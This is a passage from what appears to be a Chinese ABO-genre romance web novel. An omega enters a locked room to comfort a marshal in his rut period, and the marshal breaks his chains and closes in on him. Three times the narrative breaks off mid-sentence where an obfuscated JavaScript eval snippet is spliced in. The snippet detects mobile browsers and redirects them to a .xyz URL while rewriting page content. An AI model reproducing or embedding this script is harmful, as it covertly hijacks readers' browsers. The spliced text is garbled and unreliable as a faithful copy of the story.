“不行,还是不够,”他将手上的东西放到桌子上,又俯身打开柜子不知去找什么。 云满有点好奇地打量着眼前一大摞的东西。 大部分都是军.用的,云满没见过,他好奇地捡起其中一个瓶子,见上面的标签写的是“特级alpha抑制剂”。 他又拿起一个盒子,这次是“alpha专用止咬器”。 止咬器? 这三个字引起了云满的注意,他有点好奇,想起了伊会长之前送给他的东西。 原来是给alpha用的吗? 但是想想元帅那双深灰色的眼,云满又有点怂怂地放下止咬器——他敢给大狼戴,但真的不敢给元帅戴…… 他还想接着看,这时军医走过来,将自己一兜的糖塞进云满手里,“这个也带上。” 军医甚至顾不上等云满的回应,又匆匆拿起桌子上的黑色颈环,表情严肃起来,“小殿下,拿着这个。” “你的腺体还未发育成熟,不可能承受标记,这个东西可以保护你。” 他语调很缓,声音也很沉。 云满乖乖地伸手接过来,“我记住了。” 他看了眼手里的颈环。 ……好丑。 小殿下有点嫌弃,但还是很懂事地没表达出来,对着光脑镜子伸手将颈环带上。 “咔哒”一声轻响,颈环严丝合缝扣住后颈,随后慢慢透明化,到最后彻底消失。 云满很惊奇地摸摸脖子,什么都没摸到。 军医点了下头,又指指桌子上的那一大堆东西,“元帅的易感期持续时间向来不定,这次又……总之格外严重,这个联络器不受外界任何影响,哪怕碎了都能传出信号来,什么时候害怕了,想出来,随时联系我们,外边会有人不分昼夜守着。” “这个是营养剂,考虑到脱水情况……” “还有这个……” 军医一一讲解过去,见云满听得认真,到最后终于忍不住深深叹了口气。 “好孩子,”他声音低低的,满是疲惫,“是我们对不起你。” 这话好沉重,云满不喜欢。 他很认真地说:“是我自己要来的。” 他伸手在口袋里掏掏,拣出一颗糖,塞给军医,“我喜欢这个味道,您也尝尝。” 军医怔了一下,他拆开糖放进嘴里,下意识咬碎。 糖很快便化在口腔中,他看着云满在AI的协助下背上那个对他而言大得简直过分的军用作战包。 那是alpha用的包,放在刚成年的omega身上,衬得人更小、更脆弱了。 深黑色的沉重大门缓缓合上,简直像是将小omega吃掉了一般。 军医感觉嘴里发苦。 艾莉亚也注视着那位omega的背影,过了片刻,才低声对军医道:“卫疆来得很隐蔽,协会还不知道这件事。” 军医冷笑一声,“让那小子自求多福去吧!” 话是这么说,可他还是深深叹了口气,重新走到屏幕前,紧紧盯着屏幕上的数据。 看了两秒,他忽然想起什么,低头划开光脑,点进某个隐蔽的界面。 是放置在后山附近的无人机。 元帅的精神体十分警惕,他们尝试了多种方法也无法准确掌控对方的行踪…… 无人机飞速在后山转了一圈儿,没找到狼的痕迹,也没被摧毁。 军医有些焦虑地抬头看了眼屏幕,见数据没有太大波动,这才强压下心中的不安。 他忽然意识到什么,无人机转了个方向,缓缓靠近那栋小楼,透过窗户—— “滋”一声,屏幕彻底黑下去。 但军医看到了最后一幕:衣柜门大开,所有衣物都被翻乱,最终的归宿都是被叼出来,在小床上堆起了一个柔软的小窝。 而有着灰蓝眼睛的狼满是占有欲地圈住那个小窝,像是在等待心仪猎物的到来。 军医终于松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14129300|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 既然精神体没强行融合,那元帅一个半残状态的alpha,应该也不会有能力对小殿下做什么? …… 什么都看不见了。 视觉被剥夺,听觉便被无限放大,云满侧过头,似乎听到了一壁之隔外机器运作时发出的轻微声响,但他知道这是错觉。 他身后这扇门,连S级alpha都无法在赤手空拳的状态下打破。 至于隔音,那更不用提。 他其实对于alpha的易感期并没有什么实质的恐惧感,毕竟元帅在他面前虽然闷了点、凶了点、冷了点,但应该还是挺温柔好说话……的吧? 总之是没对他做过什么太过分的事情啦。 书上说,alpha的易感期,应该就是会更暴躁,更情绪化,还有……呃,可能会出现信息素不受控溢出等情况? 云满不太确定,他努力嗅了嗅空中的气味,却什么也没闻到。 奇怪。 怎么跟老师讲的不一样。 云满有点苦恼,他尝试着往前走了两步,伸手摸了摸,什么也没摸到。 这种无所依仗的恐惧感让云满又往后退了两步,直到背脊重新贴上墙壁,这才感觉安心了点。 这种黑漆漆的屋子,让他忍不住想起自己先前同江闻出去玩的时候,因为好奇而探索的一间鬼屋…… 过程暂且略过,总之结局就是云满吓得一周都没敢自己睡,每天都没敢等到太阳落山,就抱着小羊可怜巴巴地去求许怀安收留——别问为什么不是去找江闻,那个可恶的家伙居然会在大半夜摇醒他,来给他讲鬼故事! 想到那段经历,云满稍微没那么害怕了——主要是周围除了黑之外,没有什么飘来飘去的白色鬼影,也没有突然撞过来的血腥骷髅头什么的。 但他还是想尽快找到元帅…… 云满深吸一口气,小心翼翼叫道:“元帅?……您在吗?” 没有回答。 云满怂怂地缩成一团。 不远处忽然响起某种奇怪的声音。 听起来,像是某种金属材质的东西相撞所发出的。 他顿了下,声音有点发抖了:“元帅?” 还是没有回答。 云满开始后悔没把自己的小羊抱过来了。 他努力伸手希冀着能从背包里摸出什么毛绒绒的、可以安慰到他的东西,结果指尖先碰到了墙壁上某种类似于开关的按钮。 这个也学过,某些特殊用途的房间为了避免被破坏,或者造成更严重的后果什么的,会采用很古老的设置模式……所以,这应该是开灯的按钮吧? 云满眼睛一亮,但很快又想起书上说,光会刺激到易感期的alpha…… 呜,可是没光会刺激到omega的啊! 他进退两难,急得原地转了一圈儿,但才刚离开已经被体温温暖起来的墙壁,他立刻又感觉后背一凉,像是有鬼飘过去了。 云满迅速重新靠墙站好,努力求救:“元帅,如果你听到的话,来接我一下好不好?” 声音落下去,一秒、两秒。 云满快哭了。 他努力稳住眼泪,正准备鼓起勇气再开口,却听到了一道熟悉的、叹息般的低哑嗓音。 “过来。” 23.铁链 云满犹豫了两秒。 考虑到元帅目前令人担忧的身体状态……呃,或许是精神状况?他认为应该由自己迈出那主动的一步。 但是脚尖才刚试探性地踏进黑暗中,他就立刻像是被什么东西追着咬了一样,飞快缩回来。 呜…… 真的是什么都看不清啊。 他头上的呆毛都恹恹地垂下来了,声音听上去可怜巴巴的。 “对不起但我我真的有一点点点害怕……” 黑暗之中一片沉默。 alpha的五感都很强,这种程度的黑暗完全不足以影响视力,那双深灰色的眸子盯着还缩在门边一动不敢动的云满,目光从omega紧绷着的脸,一路滑到不安绞着的指尖。 是真的在害怕。 要哭了吗? ……那他进来干什么。 精神海的风暴仍在席卷,边叙近乎是漠然地想着,但目光久久停在omega脸上,他声音喑哑。 “把灯打开。” 诶? 云满十分心动,立刻爬起来,指尖按在开关上,却犹犹豫豫:“那个……你可以吗?” 又是沉默。 云满更迟疑了,虚虚放在开关上的指尖一点点滑下来。 不行不行! 他应该体谅病人,而现在这么点黑,这么点困难,完全算不上什么! 勇敢岁岁不怕困难! 但开始之前,云满得先把背上的军用作战包放下来——绝对不是为了拖延面对黑暗的时间! 放下时还因为背包太重,险些自己被带得往后滚,但好险是稳住了。 耳畔突兀响起一声刺耳的声响,是元帅的方向。 云满一边揉着被压得酸痛的肩膀,一边探着脑袋望那个方向看,完全没意识到是因为自己太狼狈才引得alpha的注意,也完全忘记了教科书上所写的“alpha五感敏锐,对于omega而言伸手不见五指的环境,对于他们而讲却十分清晰”,还以为是元帅疼痛难忍,有点担心地喊了声:“元帅?” 还是没回音。 ……坏了,不会是出事了吧? 之前脑子里猜测过的各种荒谬死法又一次在脑子里闪过去,云满慌乱极了,一时间心里满是对自己的懊悔和责怪,连害怕都忘了,摸着黑就往方才发出声音的方向跑。 还没两步,只听“啪嗒”一声脆响,刺眼的白光笼罩整个房间,云满下意识抬起手挡住眼睛,又急急忙忙眯着眼往元帅那个方向看。 过了几秒,视觉才慢慢恢复。 是纯黑色的世界,从天花板到墙壁、地板,无一不呈现出某种奇异的金属质感,偌大的房间里一片空旷,除了角落里一张窄床外,再没有其他设施。 而许久未见的alpha就安静地倚在床头,军装依旧一丝不苟,脸上神情也不带丝毫动摇。 那双深灰色的眼沉静地注视着他。 云满在原地愣了好久。 若非是来之前,军医反复强调过元帅此刻的危险程度……云满真的会认为,对方完全处于正常状态。 他犹豫了一两秒,鼓起勇气慢慢走过去,同时问:“您现在感觉如何?有好一些吗?” 在距离元帅还有五步距离时,他自认为很警惕地停下来,盯着元帅。 但他完全忘了,这点距离,对元帅来讲可能就是抬个脚的事。 边叙打量过那一小段可以被忽略不计的距离,没回答云满的话,只问:“谁让你进来的?” 很好,目前看上去元帅还很冷静,没有任何危险的感觉。 云满小小松了口气,觉得也没军医说得那么严重嘛。 但他还保有警惕,慢吞吞往后退了一步,这才回答道:“是我自己要来的。” “现在几点了?” 话题太跳跃了,云满下意识看了眼光脑,“凌晨一点二十五。” 边叙又不开口了,只是静静地看着云满。 云满最开始还有点茫然,但是联想到方才的话,脑中忽然灵光一闪——这个点他应该是在睡觉才对! 第一次说谎被毫不留情地当面拆穿,云满有点心虚地撇开眼,“就是我自己要来的嘛。” 他尾调软绵绵的,不像是在解释,也不像是在强词夺理,反倒更像是在……撒娇。 边叙不开口了,他垂首闭上眼,语气很平静,也很冷淡。 “出去。” “……?” 云满有点茫然地指指自己,不太确定地问:“我吗?” 那还能有谁。 边叙只感觉烦躁。 云满终于确认了这话的针对对象是自己,顿时不可置信地上前两步,试图据理力争:“是你刚才叫我过来的,为什么现在又要我出去呀?” 明明是在争辩,却偏偏语调又拖得软绵,边叙从来没见过这样的人,忍受不了般皱起眉,抬起头,最先注意到的,却是omega圆溜溜的瞳孔。 眼尾晕染了点薄红,像是委屈,也像是愤怒。 是个很漂亮的omega。 喉结无意识地滚了滚,这时又听云满小声说:“而且,这个门我没办法打开的。” ——刚才在外面的时候,他特地询问过军医,得知如果只有元帅一人在的情况下,除非对方彻底失控把门拆了,不然的话就只能老实等易感期过去,被系统检测到信息素精神力趋于平稳后,门才会打开。 所以,云满大胆赌对方完全不知道这门的其他打开方式! 他觉得自己聪明极了,眼睛亮晶晶地看向元帅,却见对方不为所动,目光落在他右手的光脑上。 边叙言简意赅:“联系卫疆。” 云满的目光跟着一起落在自己右手上,愣了两秒后,他眼疾手快解下光脑丢在地上,又快准狠一脚将光脑踢进床底,并非常庆幸自己没选择植入式的光脑。 行云流水做完这一套,他才抬起头无辜地看向元帅,摊开手向对方展示:“没有了。” 边叙:“……” 太阳穴突突跳了两下,他觉得本就如刀绞般的大脑此刻更添一层烦躁。 他正要开口,却又见云满用那双漂亮的眼睛祈求似的看着他,“不要赶我走……” 他原本将要出口的话一滞。 云满思考片刻,决定上杀手锏,主动往前两步,彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14144617|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站到了床边,伸手试探性地想去碰边叙的袖子。 一秒、两秒、三秒。 很好,元帅并没有阻拦的意思! 云满只觉得自己成功了一大半,立刻拉住元帅的袖子,像自己小时候对哥哥撒娇那样,左右晃了晃。 “不要赶我走,我想帮忙,而且我真的很担心……嗯?” 怎么有什么东西碰撞晃动的声音? 云满的声音慢慢停下来,他有点疑惑地看过去,终于看清了隐在深色军装下,交叠着束缚住双臂的粗壮铁链。 他被吓了一跳,若无其事地收回手,思考了一下还是决定向元帅道歉:“我不是故意的……” 等一下。 云满又意识到了什么。 他终于明白为什么从自己进来这么久,元帅始终没有换过姿势了。 这也意味着——他是安全的,甚至,他才是有主动权的一方。 云满彻底不害怕了,他又凑近了点,两人间的距离几乎不用伸手,就可以触碰到彼此。 他做出凶巴巴的表情,故意恐吓道:“你现在什么都做不了,只能听我的!” 随着omega的靠近,似乎有种很淡的香萦绕了他,却一晃神又不见了,像是错觉。 指尖动了一下,边叙问:“你要做什么?” 云满宕机了一秒,才道:“比如说,我把光脑踢到床底下去了,你捡不了,所以你不可能赶我走了!” 边叙嗯了一声,问:“还有呢?” 还有…… 云满想不出来了,他目光漫无目的地在周围转了转。 “书上说,易感期的alpha会对光很敏感,正好我也很怕黑,”说起这个,云满似乎有些害羞,声音都小了点,“所以,我们两个这几天可以彼此陪伴,但你不准讲鬼故事吓我!” 他刻意强调了一下自己的心理阴影,但等说出口后,又觉得自己实在是多虑了——毕竟元帅看起来是个很成熟的alpha,应该不可能做这么幼稚的事情吧? “可以。” 哪怕是应下这么温情的事情,边叙的语调仍没有一丝起伏,他道:“继续。” 还继续什么? 云满有点苦恼,他努力思考,努力开动小脑瓜,“呃……如果你有需要,我就给你提供一些帮助?” 他觉得自己说得不够清楚,但没办法,他是个才成年的omega,协会根本没来得及教会他什么。 于是云满只能笨拙地尝试比划:“就是,比如说你需要抱枕什么的……你明白我的意思吗?” 边叙平静道:“不明白。” 怎么这么笨呀。 云满有点挫败,他干脆坐到元帅面前,张开手臂示范性地抱了对方一下,“就像这样,”他还想要安抚对方的情绪,“没关系的,你是特殊时期,这很正常。” “更何况,你已经被锁起来了,我们两个都很安全,没事……” “咔嚓。” 一声脆响打断了云满的话,他慢半拍地从元帅怀里抬头,然后,眼睁睁看着铁链碎裂,坠下。 而alpha对他露出了第一个微笑,声音很轻,“是吗。” 24.吻 是吗? 云满愣愣地仰起头,看着alpha挣脱束缚,再一步步靠近他,表情始终呆呆的。 “好像,好像不是……” 身形高大的alpha缓步停在云满面前,深灰色的眼看不出情绪。 他的目光落在omega脸上,又一点点下滑,最终停在对方因为惊讶而微微张开的嘴唇上。 ……粉色的。 混沌一片的大脑,似乎有什么拨云开雾照了进来,让边叙下意识想要靠近。 易感期的alpha向来随心所欲,他这么想了,也这么做了。 随着边叙的靠近,云满乱七八糟的思路终于被扯正了。 他撑着床,下意识往后躲,磕磕绊绊说:“您,您原来能挣开啊?” 连称呼都变了。 alpha笑了一声,声音低沉沉的。 “当然。” 云满脑子都要宕机了,“那那,那您为什么要把自己关在那里啊?” 完全的无用功。 而且若非元帅把自己锁在那里,给云满一种没法动弹只能任他施为的错觉,云满也不至于这么大胆! 他想到自己方才肆无忌惮说的那些话,一时间只觉得脸烧起来了,心凉了——完蛋咯。 边叙没回答他这个问题,只是定定地看着慌乱的omega,反问:“那你为什么要进来?” 云满犹豫两秒,却见alpha微微眯起眼,又一次逼近他。 “!” “我听说您进入了易感期,我是您的omega,而且我也很担心您,总之我我觉得自己有义务帮您解决,……” 他语无伦次,想到什么就说什么,同时随着alpha的逼近,下意识后仰,想要逃开。 却被一把扣住后脑勺,近乎是强迫地与边叙对视着。 alpha很平静地问他:“你说你是我的omega?” 云满下意识点点头。 边叙道:“证明给我看。” “……呜?” 这要怎么证明? 毕竟他们只是在试婚阶段,又没有标记过,也没有什么官方证书之类的。 云满有点苦恼,他左右望了望,突然灵机一动:“我的光脑上还有当时的匹配通知,我找出来给您……” 不对。 他突然又想起方才元帅试图用光脑联系副官送他走这件事,顿时警惕起来——万一元帅只是在装傻,想要借此骗出他的光脑,从而顺利地把他送走,那该怎么办? 云满自认为这逻辑十分通顺,立刻掐断自己的话,抬起头无辜地看向元帅,准备耍无赖,慢吞吞道:“对不起哦,但我现在好像没办法证明。” 边叙嗯了一声,道:“出去。” 云满:“???” 他不可置信地抬起头看着边叙,强调道:“刚才谈过这个话题了!” alpha脸不红心不跳:“忘了。” 云满:“?” 世上竟有如此会耍无赖之人! 他有点委屈,但努力思考一下,好像确实没有办法了,只好不情不愿爬下床,准备找个角落自己待着,“好吧,那等您想起来了,我再……”回来。 嗯? 云满下到一半,却死活都动弹不得,有点疑惑地低头,看看正牢牢箍住自己小臂的那只大手,再抬头看看手的主人,缓缓打出一个问号。 不得不说,元帅的心理素质实在是强悍,哪怕在这种人证并获的情况下,对方仍未露出任何心虚的表情。 只是,似乎也没有任何放开手的打算。 云满下不了床,只好重新爬回去,盘腿坐在元帅面前,好声好气商量道:“那我就留下了?” 边叙道:“出去。” “……”云满颇感无语地看看仍紧紧抓着自己的那只手,想起了教科书上的那句注释。 ——“易感期的alpha往往会丧失理智,只依靠本能行动。” 原来元帅的本能是口是心非。 这么一想,云满又很宽容地原谅了眼前人。 毕竟是特殊情况嘛。 他伸出手,很主动地投怀送抱,还伸手拍了拍元帅脊背,就像还在协会时,他安慰自己伤心时的朋友一样。 在靠近的瞬间,云满似乎嗅到了某种冰冷的气息,很浅淡,闻不出来具体是什么,但无端让他觉得有几分熟悉。 但很快,他就顾不上思考了。 云满有点疑惑地看着元帅身后略微鼓起来的、像是藏了什么东西的床单。 那好像是……元帅刚才在的位置? 所以一直被藏在元帅身后吗? - 大脑很沉。 以往已经熟悉了的痛,在此刻却轻飘飘远去,什么都感受不到了。 鼻尖似乎萦绕着某种浅淡的香,是很清新的味道,像是某种雨后的水果,让他禁不住有些沉迷。 指尖无意识想要收紧,可那触感太柔软,太脆弱,让他疑心会被自己轻易折断。 边叙睁开眼,看到了omega蓬松而柔软的黑发,再往下,是雪白的脖颈。 齿尖发痒,他想将omega彻底困进怀中,可是只一伸手的时间,omega却忽地钻出去。 怀中空了。 云满完全没察觉到刚才发生了什么,他伸手拨开那鼓起的床单,看到了十分眼熟的一些东西。 他的两只小熊、一只小兔,以及几件贴身的衣服。 是他在小箱子里放的“物资”! 居然真的帮到元帅了吗? 一想到这种可能,云满整个人都快乐起来了,他抱着小熊转身,想要去询问元帅,眼前却忽然一黑,旋即一阵天旋地转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14152329|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他再睁开眼时,灯已经无声无息地熄灭,四周一片漆黑,他仰面躺在床上,只能感觉到有一只温热的大手垫在自己后脑勺下,免去了他磕碰之苦。 什么也看不清,却有一道视线如有实质般落在脸上,他竟瑟缩了一下,小心翼翼喊道:“……元帅?” 没有回答,但覆在后脑勺的那只手却逐渐下移,动作太轻,却在这黑暗中又太明显,等它终于扣住后颈时,云满控制不住地开始战栗。 他想起了协会教过的那些事,还有进来前军医反复的强调担忧。 刚成年不久的omega终于后知后觉意识到,他现在似乎陷入了一种很危险的境地。 “云满。” 黑暗之中,alpha的声音显得更沙哑,更低沉了。 他问:“你为什么要留下?” 靠得太近了。 生平第一次被拿捏住要害的小omega晕头晕脑,乖乖地顺着对方的问题回答:“我想帮您。” 边叙垂眼。 出众的五感让他可以轻易捕捉到黑暗中omega的每一丝细微表情,他看着云满。 大概是因为紧张,纤长浓密的眼睫颤动着,让他想起荒野中的蝴蝶。 他问:“你准备怎么帮?” 这问题要难倒完全没经验的云满了,他绞尽脑汁思考片刻,但因为后颈上的那只手,完全没办法集中精神。 实在是太奇怪了…… 云满的声音中都带上了一丝细不可闻的哭腔,他颤抖着请求:“您能不能先把手放开……” 一直缓缓摩挲omega后颈的手略微停顿片刻,旋即收回,可alpha的举动却并非出于好心,亦或是omega的哭泣。 但云满却误会了这件事,他很有礼貌地向欺负自己的alpha表达了感激,“谢谢,我感觉好多了……至于您的问题,” 他有点苦恼,回想着前些天协会课上教导的,开始背诵:“书上说,想要安抚易感期的alpha,根本途径是交换信息素,为了达到这个目的,最快的办法是标记,其次是接吻……” 标记。 脑海中那根弦断掉了,边叙低下头,炙热的呼吸辗转落在云满颈侧。 他又一次嗅到了那种果香,那是omega信息素的味道,他很喜欢。 易感期的alpha从未如此清晰地认知到这件事。 而同时,他也意识到,他的omega尚未成熟,过早的采撷只会导致凋零,他徘徊不定。 偏偏他的omega还一无所觉。 云满察觉到alpha逐渐贴近,距离已经近到可以感知彼此的呼吸,却始终游移徘徊,像是迟迟无法做出选择。 背诵知识点的声音停下来,教科书上的配图飞速闪过脑海,他忽地灵光一闪,主动伸手抱住边叙,试探着吻过去。